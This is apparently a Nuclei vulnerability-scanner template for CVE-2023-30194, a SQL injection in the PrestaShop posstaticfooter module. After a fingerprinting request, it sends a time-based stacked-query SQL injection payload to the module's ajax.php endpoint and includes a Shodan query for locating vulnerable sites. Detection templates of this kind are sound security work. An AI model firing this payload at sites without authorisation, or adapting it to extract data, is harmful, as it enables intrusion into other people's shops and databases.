漏洞描述
Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
id: CVE-2023-30194
info:
name: Prestashop posstaticfooter <= 1.0.0 - SQL Injection
author: daffainfo
severity: critical
description: |
Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
reference:
- https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html
- https://themeforest.net/user/posthemes/portfolio
- https://nvd.nist.gov/vuln/detail/CVE-2023-30194
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30194
epss-score: 0.79043
epss-percentile: 0.99008
cwe-id: CWE-89
cpe: cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: prestashop
product: poststaticfooter
shodan-query: html:"posstaticfooter"
tags: cve,cve2023,prestashop,poststaticfooter,sqli,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- 'prestashop'
internal: true
- raw:
- |
@timeout: 20s
POST /modules/posstaticfooter/ajax.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--
matchers:
- type: dsl
dsl:
- "duration>=6"
- contains(body, '\"[]\"')
- "status_code == 200"
condition: and
# digest: 4b0a00483046022100c0ea1c6433d37f5f4beb4906e4f239ea35464909d76ba9634e73aa2ff167f832022100c70ac52d7301c62e95bdc7421391f2b6aea5989e9b8109d77e3639489a4cb0b2:922c64590222798bb761d5b6d8e72950